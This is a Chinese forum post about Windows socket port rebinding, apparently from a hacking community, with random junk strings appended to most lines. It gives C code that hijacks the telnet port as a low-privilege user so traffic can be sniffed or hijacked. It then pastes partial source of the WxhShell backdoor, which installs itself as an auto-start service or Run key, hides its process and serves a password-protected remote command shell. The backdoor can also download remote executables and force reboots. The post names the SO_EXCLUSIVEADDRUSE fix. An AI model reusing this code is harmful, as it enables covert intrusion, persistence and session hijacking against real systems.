社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13920阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #w*1 !  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -dsB@nPiUw  
<>A:Oi3^  
  saddr.sin_family = AF_INET; xYc)iH6&  
g[@Kd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sDK lbb  
mwZesSxB_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z%D*2wm4  
eU1= :n&&\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r7c(/P^$G  
-\6tVF11z  
  这意味着什么?意味着可以进行如下的攻击: 1HskY| X  
24:;vcb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |Pz-  
iH#~eg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) muQH!Q  
s!~M,zsQN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l\- 1W2  
mk~i (Ee  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3q R@$pm  
XrYMv WT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U/>f" F  
A-~#ydv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9<k<HmkD  
^b~&}uU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X1]&j2WR  
3%/]y=rA  
  #include Vl{CD>$,  
  #include <&n3"  
  #include i6-q%%]6  
  #include    LG [ 2u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hmtRs]7  
  int main() 5@tpJ8E8$  
  { nZfTK>)A0  
  WORD wVersionRequested; Gnj;=f  
  DWORD ret; 7I/Sfmqy"O  
  WSADATA wsaData; <]b}R;9v  
  BOOL val; V2ypmkn 8&  
  SOCKADDR_IN saddr; 4};!nYey!  
  SOCKADDR_IN scaddr; DdJxb{y7  
  int err; I--WS[  
  SOCKET s; U> (5J,G  
  SOCKET sc; GI WgfE?  
  int caddsize; y%|nE((  
  HANDLE mt; Y:^~KS=Uz  
  DWORD tid;   d0>V^cB'?  
  wVersionRequested = MAKEWORD( 2, 2 ); :bE ^b  
  err = WSAStartup( wVersionRequested, &wsaData ); -WB? hmx  
  if ( err != 0 ) { qDM/ 6xO  
  printf("error!WSAStartup failed!\n"); R$K.;  
  return -1; xp7,0'(;  
  } {DI_i +2  
  saddr.sin_family = AF_INET; ,cWO Ak  
   >f^&^28  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1T%Y:0  
yH|ucN~k5S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z9i,#/  
  saddr.sin_port = htons(23); .lb2`!'r&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Oe'Nn250  
  { Uey.@2Q  
  printf("error!socket failed!\n"); )*G3q/l1u6  
  return -1; fg8V6FS  
  } }yLdU|'W  
  val = TRUE; Vvm6T@b M8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R# 8D}5[&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Gnl6>/L,  
  { C N"V w  
  printf("error!setsockopt failed!\n"); %{yr#F=t#]  
  return -1; @!Il!+^3  
  } -]Z!_[MlDF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OZbwquF@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V{HZ/p_Y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 394u']M  
Z%`} `(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *na7/ysT<  
  { lBR6O!sBP  
  ret=GetLastError(); ]RPv@z:V  
  printf("error!bind failed!\n"); J,;; `sf  
  return -1; && ecq   
  } S5" xb  
  listen(s,2); P;VR[d4e/  
  while(1) 56G5JSB=\  
  { ({m["d  
  caddsize = sizeof(scaddr); jn^i4f>N  
  //接受连接请求 S"|D!}@-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lDe9EJR  
  if(sc!=INVALID_SOCKET) C0 .Xp  
  { ;p BXAl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); j6/ 3p|E  
  if(mt==NULL) KofjveOiC  
  { ).9-=P HlX  
  printf("Thread Creat Failed!\n"); Wfu%,=@,  
  break; *gMuo6  
  } U> e@m?  
  } a gBKp!  
  CloseHandle(mt); oMLpl3pl  
  } *W(b=u  
  closesocket(s); PaMi5Pq  
  WSACleanup(); =WyAOgy}  
  return 0; qI<*Cze  
  }   bTA<AoW9="  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^P"t "  
  { OMJr.u  
  SOCKET ss = (SOCKET)lpParam; eP &K]#  
  SOCKET sc; ksu:RJ-  
  unsigned char buf[4096]; .NCQiQ  
  SOCKADDR_IN saddr; W;~^3Hz6  
  long num; 7; T S  
  DWORD val; xdYjl.f  
  DWORD ret; sFSrMI#R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S]<G|mn,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |g8 ]WFc  
  saddr.sin_family = AF_INET; tI.(+-q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I #1_  
  saddr.sin_port = htons(23); 9^igzRn0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BAzc'x&<  
  { m"86O:S#d  
  printf("error!socket failed!\n"); FE M_7M  
  return -1; YyK9UZjI  
  } `'0opoQRe  
  val = 100; fkRb;aIl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t,k9:p  
  { h=`rZC  
  ret = GetLastError(); !RiPr(m@y  
  return -1; 3AWB Y .  
  } vk{4:^6.TV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y"t5%Iv  
  { _'2r=a#`  
  ret = GetLastError(); rQKBT]?y  
  return -1; d[TcA2nF  
  } pC5-,Z;8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Kz$Ijj  
  { Plm3vk=  
  printf("error!socket connect failed!\n"); #Sn&Wo  
  closesocket(sc); U> q&+:+  
  closesocket(ss); 7-^df0  
  return -1; -z'@Mh|i6l  
  } HK2`.'D  
  while(1) \+cQiN b@  
  { C$,S#n@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b#82G`6r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 TuaT-Z~U{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2cy{d|c  
  num = recv(ss,buf,4096,0); _r^&.'q  
  if(num>0) *}[@*  
  send(sc,buf,num,0); !u7WCw.Dm  
  else if(num==0) ~x4Y57  
  break; HF47Lc*c  
  num = recv(sc,buf,4096,0); T}u'  
  if(num>0) (\WePOy&  
  send(ss,buf,num,0); }$$b6G  
  else if(num==0) R^PQ`$W 'R  
  break; q!O~*   
  } YI\^hP#  
  closesocket(ss); 9wtl|s%A %  
  closesocket(sc); 1 ViDS  
  return 0 ; \u)s Zh  
  } k] f 7 3r  
\OY2|  
F." L{g  
========================================================== 8,['q~z  
#m8Oy|Y9`  
下边附上一个代码,,WXhSHELL j&44wuf  
ZnmBb_eX  
========================================================== 2V~Yb1P  
> }:6m  
#include "stdafx.h" W?6RUyMC$T  
?cpID8Z  
#include <stdio.h> 7L]fCw p[  
#include <string.h> Kt`0vwkjvI  
#include <windows.h> [9>1e  
#include <winsock2.h> T.K$a\/{,  
#include <winsvc.h> C w$y  
#include <urlmon.h> A Ys<IMQ  
"` 9W"A=  
#pragma comment (lib, "Ws2_32.lib") IHB{US1G  
#pragma comment (lib, "urlmon.lib") ;OVJM qg  
*/Y@:Sjf  
#define MAX_USER   100 // 最大客户端连接数  =v8#@$  
#define BUF_SOCK   200 // sock buffer Y@L`XNl  
#define KEY_BUFF   255 // 输入 buffer xpSMbX{e  
Yoaz|7LS  
#define REBOOT     0   // 重启 nQ/El&{  
#define SHUTDOWN   1   // 关机 .|o7YTcR:  
a{H~>d< ?  
#define DEF_PORT   5000 // 监听端口 ?(R6}ab>K7  
mNuv>GAb  
#define REG_LEN     16   // 注册表键长度 J#JZ^59lOS  
#define SVC_LEN     80   // NT服务名长度 vU~#6sl  
IJ=~hBI  
// 从dll定义API b$M? _<G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Dj %jrtT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O'j;"l~H|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o[8Y%3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tq1h1  
@BBqH&<`  
// wxhshell配置信息 bup;4~g  
struct WSCFG { \:O5,wf2  
  int ws_port;         // 监听端口 LM<OYRB(  
  char ws_passstr[REG_LEN]; // 口令 W\X51DrEx  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]Nm_<%lT  
  char ws_regname[REG_LEN]; // 注册表键名 +mH Kk  
  char ws_svcname[REG_LEN]; // 服务名 OyTBgS G?a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O </<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 69CH W&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b-~Gt]%>m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J 9>uLz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4Tq%V|5"&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r@iGM Jx$  
y"P$:l  
}; YY$K;t{dk  
f}#pKsX.  
// default Wxhshell configuration [j-]n#E=9y  
struct WSCFG wscfg={DEF_PORT, bJGT^N@  
    "xuhuanlingzhe", ^ zo"~1  
    1, 8th G-  
    "Wxhshell", 'w!Hjq]$  
    "Wxhshell", [UFLL:_sC  
            "WxhShell Service", lE%0ifu  
    "Wrsky Windows CmdShell Service", %*:-4K  
    "Please Input Your Password: ", QT?fp >'  
  1, &]uhPx/  
  "http://www.wrsky.com/wxhshell.exe", |'1[\<MM3  
  "Wxhshell.exe" %6*xnB?  
    }; t0Ec` +)  
+&Sf$t 1  
// 消息定义模块 iB[%5i-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2NI3 &;{4  
char *msg_ws_prompt="\n\r? for help\n\r#>";  #*?5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |67<h5Q1  
char *msg_ws_ext="\n\rExit."; ])T*T$u  
char *msg_ws_end="\n\rQuit."; &Zq43~  
char *msg_ws_boot="\n\rReboot..."; ;^t<LhN:  
char *msg_ws_poff="\n\rShutdown..."; yO$]9  
char *msg_ws_down="\n\rSave to "; qnru atA  
3'*SSZmnOB  
char *msg_ws_err="\n\rErr!"; [V}I34UN  
char *msg_ws_ok="\n\rOK!"; +KXg&A/^  
h6la+l?x  
char ExeFile[MAX_PATH]; b pExYyt  
int nUser = 0; \jZvP`.2  
HANDLE handles[MAX_USER]; =f=MtH?0y  
int OsIsNt; Zwp*JH+G  
|.)dOk,o  
SERVICE_STATUS       serviceStatus; F8>Fp"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9cX ~  
ysDfp'C,  
// 函数声明  fW|1AUD,  
int Install(void); w\s$  
int Uninstall(void); )\'U$  
int DownloadFile(char *sURL, SOCKET wsh); RcMW%q$dG  
int Boot(int flag); l`fjz-eE  
void HideProc(void); U!^\DocAY  
int GetOsVer(void); mgh,)=2cE(  
int Wxhshell(SOCKET wsl); cYmMO[4YG'  
void TalkWithClient(void *cs); X=mzo\Aos  
int CmdShell(SOCKET sock); IHMZE42  
int StartFromService(void); u m(A3uQ  
int StartWxhshell(LPSTR lpCmdLine); ]X;Ty\UD&  
w\8grEj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M*}C.E!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *ZF7m_8u{  
~'=s?\I  
// 数据结构和表定义 & /UcFB  
SERVICE_TABLE_ENTRY DispatchTable[] = !+=jD3HTJ  
{ D />REC^  
{wscfg.ws_svcname, NTServiceMain}, aKkQXq*  
{NULL, NULL} F+v?2|03  
}; 3RZP 12x  
_:?)2NV  
// 自我安装 \y"!`.E7\d  
int Install(void) W2qW`Ujo{  
{ -Q<3Q_  
  char svExeFile[MAX_PATH]; z?Hvh  
  HKEY key;  #/MUiV  
  strcpy(svExeFile,ExeFile); B/c_pRl;  
srw5&s(3X  
// 如果是win9x系统,修改注册表设为自启动 Fpzps!(;=  
if(!OsIsNt) { z2A7:[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Etg'"d@[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &d[&8V5S  
  RegCloseKey(key); 71m dU6Kq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .3 m^yo c/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =YR/X@&  
  RegCloseKey(key); aM,>LKNbQ  
  return 0; ,H'O`oV!1E  
    } @ {j'Pf'  
  } Z; r}G m  
} [^A93F  
else { M%/ML=eLi  
?tQUZO  
// 如果是NT以上系统,安装为系统服务 66,?f<b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g0 \c  
if (schSCManager!=0) 8Tyf#`'I  
{ .zAB)rNc |  
  SC_HANDLE schService = CreateService /9/=]  
  ( X48Q{E+  
  schSCManager, t.v@\[{ -  
  wscfg.ws_svcname, .-k\Q} D  
  wscfg.ws_svcdisp, gxycw4kz  
  SERVICE_ALL_ACCESS, q%]0%S?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o6P)IZ1  
  SERVICE_AUTO_START, Mmq{]q~At  
  SERVICE_ERROR_NORMAL, (@vu/yN  
  svExeFile, q*SX.A>YR  
  NULL, T+8F'9i`  
  NULL, <VS\z(K  
  NULL, O~.A}  
  NULL, m/5:-xL31  
  NULL N1jj\.nB  
  ); f`*Ip?V-  
  if (schService!=0) ]d&6 ?7 !>  
  { hR Y *WL  
  CloseServiceHandle(schService); !G.)%+Z  
  CloseServiceHandle(schSCManager); $5z O=`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o}mD1q0yE  
  strcat(svExeFile,wscfg.ws_svcname); .h-:) e*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4nzUDeI3MG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sa36=:5x-  
  RegCloseKey(key); 7z9gsi  
  return 0; V lN&Lz  
    } ]i3 2-8%  
  } ,YX[6eZr  
  CloseServiceHandle(schSCManager); &EYO[~D06  
} ~v$gk   
} rLGh>bw#`3  
^|5bK_Z&  
return 1; HA&][%^  
} |tC!`.^\  
GxL5yeN@(  
// 自我卸载 qP-*  
int Uninstall(void) 'Pk ( 1:  
{ J~9l+?  
  HKEY key; 0&E{[~Pv  
yeqZPz n  
if(!OsIsNt) { T52A}vf4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tbrjTeC  
  RegDeleteValue(key,wscfg.ws_regname); 3#}5dO  
  RegCloseKey(key); n KC$ KC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yxh8sAZ  
  RegDeleteValue(key,wscfg.ws_regname); RNE} )B  
  RegCloseKey(key); l 3bo  
  return 0; %?1k}(qUeY  
  } 'kPc`) \  
} ,d'x]&a  
} E#X(0(A)  
else { $q.% 4  
q|0Lu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w0(A7L:L  
if (schSCManager!=0) (Vnv"= (  
{ IF YGl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); avrf]raM|  
  if (schService!=0) i9+(gX(t  
  { Dp4\rps  
  if(DeleteService(schService)!=0) { DyIuM{Owj  
  CloseServiceHandle(schService); ?a+>%uWt  
  CloseServiceHandle(schSCManager); eS{lr4-]  
  return 0; oY{L0B[  
  } gBGUGjVj  
  CloseServiceHandle(schService); 2'UWPZgE  
  } $x#0m  
  CloseServiceHandle(schSCManager); `2Rd=M]?  
} 4Ynv=G Qz  
} Y4 q;  
Xg E\q  
return 1; bim}{wMb  
} Ze_4MwC W  
9}LcJ  
// 从指定url下载文件 ;DbEP.%u$  
int DownloadFile(char *sURL, SOCKET wsh) },zP,y:cH  
{ #m [R1G#  
  HRESULT hr; g.$a]pZz  
char seps[]= "/"; 8i"v7}  
char *token; KPc`5X  
char *file; I(!i"b9  
char myURL[MAX_PATH]; AlF"1X02  
char myFILE[MAX_PATH]; y}Ji( q~  
\2F{r<A\@  
strcpy(myURL,sURL); 91'i7&~xdG  
  token=strtok(myURL,seps); 3 VNYDY`>  
  while(token!=NULL) VrDSN  
  { [H ^ ktF  
    file=token; L[;U Z)V@  
  token=strtok(NULL,seps); x-J.*X/aB  
  } cCOw7<  
N 0<([B;  
GetCurrentDirectory(MAX_PATH,myFILE); ,=!_7'm  
strcat(myFILE, "\\"); 5eS0 B{,c  
strcat(myFILE, file); ;$=kfj9 :7  
  send(wsh,myFILE,strlen(myFILE),0); x~3N})T5  
send(wsh,"...",3,0); pK/r{/>r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mk*r^k`a  
  if(hr==S_OK) X+6`]]  
return 0; ^\o3V<  
else v0psth?qV  
return 1; jUnS&1]MF  
V ,# |\  
} Jc8^m0_  
i3 ?cL4  
// 系统电源模块 vlW521  
int Boot(int flag) (.r9bl  
{ :@x_& b  
  HANDLE hToken; 'F-; uN  
  TOKEN_PRIVILEGES tkp; ,v^A;,q  
gl.uDO%.  
  if(OsIsNt) { pf&H !-M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o;w 5;TkY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OO$YwOKS  
    tkp.PrivilegeCount = 1; K;uO<{a)r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jg)+]r/hS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UQ[!k 6  
if(flag==REBOOT) { b({K6#?'[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /sU~cn^D5  
  return 0; &oJ1v<`  
} _mBFmXHHS$  
else { z8VcV*6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E}qW'  
  return 0; v,}Mn7:  
} C0O$iWs=  
  } Chso]N.1  
  else { q7#4e?1  
if(flag==REBOOT) { FGRdA^`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [{&GMc   
  return 0; 5u5-:#sLy  
} PH1jN?OEwZ  
else { . .5s 2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [}+h86:y  
  return 0; 2%{(BT6  
} \3bT0^7B  
} r$Tu``z \  
.`ZuUr  
return 1; &m PR[{  
} GEs5@EH  
w/49O;rV  
// win9x进程隐藏模块 5+Ld1nom  
void HideProc(void) >LAhc7I  
{ nSSj&q-O  
;5dA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); px=k&|l  
  if ( hKernel != NULL ) fD* ?JzVY  
  { AqZ()p*z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z@ dS,M*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xoB "hNIX  
    FreeLibrary(hKernel); c,,(s{1  
  } @{ CP18~:  
p|`[8uY?  
return; <)]j;Tl  
} (>,}C/-UG  
9Od|R"aS|  
// 获取操作系统版本 aYmN' POi  
int GetOsVer(void) =7vbcAJ\  
{ @xkI?vK6  
  OSVERSIONINFO winfo;  QUb#84  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lHc|: vG?  
  GetVersionEx(&winfo); JTS<n4<a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [+3~wpU(p  
  return 1; *7`amF-  
  else C'&t@@:  
  return 0; Yw6d-5=:  
} 1 F+$\fLr  
Y{`hRz`  
// 客户端句柄模块 p9Y`_g`  
int Wxhshell(SOCKET wsl) A4IPd  
{ _s~F/G`iT  
  SOCKET wsh; rhH !-`m  
  struct sockaddr_in client; |QO)x En~  
  DWORD myID; 7 : .bqRu  
p8X$yv  
  while(nUser<MAX_USER) Y{c+/n3d  
{ 3IYbgUG  
  int nSize=sizeof(client); W:y'a3~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m'"Ra-  
  if(wsh==INVALID_SOCKET) return 1; &?0hj@kd~  
Q^ |aix~ K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y6ORI  
if(handles[nUser]==0) 12S[m~L%  
  closesocket(wsh); oh%/\Xu  
else D]zpG  
  nUser++; ^SJa/I EZ.  
  } :qxd s>Xm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); InfUH8./t  
H\RuYCn2G  
  return 0; fS- 31<?  
} Xb5 $ijH  
G{{Or  
// 关闭 socket S$%Y{  
void CloseIt(SOCKET wsh) :taRCh5  
{ F<^93a9  
closesocket(wsh); -"X} )N2  
nUser--; +{/*P 5  
ExitThread(0); d +Bz pS@p  
} n$YCIW )0  
u9^R ?y  
// 客户端请求句柄 $C?G7Vs  
void TalkWithClient(void *cs) G##^xFx  
{ j,CMcP7A -  
4j h4XdH  
  SOCKET wsh=(SOCKET)cs; y1zep\-D  
  char pwd[SVC_LEN]; 0CS80 pC  
  char cmd[KEY_BUFF]; p!w}hB598  
char chr[1]; DU: sQS4  
int i,j; s7#|'jhZt  
g+iV0bbT  
  while (nUser < MAX_USER) { 4!r> ^a  
.`Ts'0vVy  
if(wscfg.ws_passstr) { V7 dAB,:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jw!QjVuRN%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7f`x-iH!]7  
  //ZeroMemory(pwd,KEY_BUFF); Q|W!m0XO  
      i=0; ,*$/2nB^  
  while(i<SVC_LEN) { Y)X58_En  
6lc/_&0  
  // 设置超时  p3r1lUw  
  fd_set FdRead; 4MOA}FZ~  
  struct timeval TimeOut; > AV R3b  
  FD_ZERO(&FdRead); .DkDMg1US  
  FD_SET(wsh,&FdRead); 7F{=bL  
  TimeOut.tv_sec=8; Q,A`"e#:  
  TimeOut.tv_usec=0; AH(O"v`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Eh)VU_D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x{|n>3l`b9  
-=]LQHuQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tK|hC[  
  pwd=chr[0]; \..(!>,%F  
  if(chr[0]==0xd || chr[0]==0xa) { 5B<G;if,  
  pwd=0; 9h6xli  
  break; r4c3t,L*$I  
  } _u:4y4}  
  i++; V8xv@G{;  
    } OQA3~\Vu  
xIo7f  
  // 如果是非法用户,关闭 socket ku'%+svD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dMwVgc:  
} qpl"j-  
+Hb6j02#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TJB0O]@3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B!le=V,@,  
FK#>E[[  
while(1) { Ac.z6]p  
K(plzQ3  
  ZeroMemory(cmd,KEY_BUFF); ^tuJM:  
g-%uw[pf  
      // 自动支持客户端 telnet标准   ^U_B>0`ch  
  j=0; &T}v1c7)  
  while(j<KEY_BUFF) { T[XI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y#6@0Nn[G  
  cmd[j]=chr[0]; 3@}HdLmN|  
  if(chr[0]==0xa || chr[0]==0xd) { zoOm[X=?3  
  cmd[j]=0; A}\Rms 2  
  break; yHt63z8'  
  } ~pj9_I  
  j++; h3 p 3~xq  
    } ZrA\a#z"<  
G-n`X":$DT  
  // 下载文件 %4L|#^7:  
  if(strstr(cmd,"http://")) { D 2!ww{t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (p14{  
  if(DownloadFile(cmd,wsh)) \lR~!6:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )hQNIt3o_  
  else 2%W(^Lj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1}8e@`G0.]  
  } jd2Fh):q  
  else { r 'jVF'w  
'KQu z)-  
    switch(cmd[0]) { K?T)9  
  |x<  
  // 帮助 FcW ?([l  
  case '?': { S|]~,l2]}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TTE#7\K~B  
    break; Zc9 n0t[  
  } c= a+7>  
  // 安装 o3WkbMJWM  
  case 'i': { (tq)64XVz  
    if(Install()) :za!!^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *h =7:*n  
    else L8j,?u#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ao-C9|2>NU  
    break; ,Fr{i1Ky  
    } 2s{yg%U(  
  // 卸载 pb{P[-f  
  case 'r': { ldX]A#d.  
    if(Uninstall()) Y*}Sq|y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xj/ X.  
    else iuHG9#n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e8lF$[i  
    break; If&p$pAH?  
    } v l*RRoJ  
  // 显示 wxhshell 所在路径 `\Npu  
  case 'p': { bm+ Mr  
    char svExeFile[MAX_PATH]; ttw@nv% @  
    strcpy(svExeFile,"\n\r"); 0Hz3nd?v  
      strcat(svExeFile,ExeFile); ifgaBXT55  
        send(wsh,svExeFile,strlen(svExeFile),0); 0"QE,pLe4  
    break; -xcz+pHQ  
    } Z9sg6M@s  
  // 重启 '  qM3.U  
  case 'b': { +.R-a+y3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $o@?D^  
    if(Boot(REBOOT)) ~clWG-i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); & aLR'*]6  
    else { u3ZG;ykM  
    closesocket(wsh); eQLa.0  
    ExitThread(0); {Y@[hoHtF  
    } sS|zz,y  
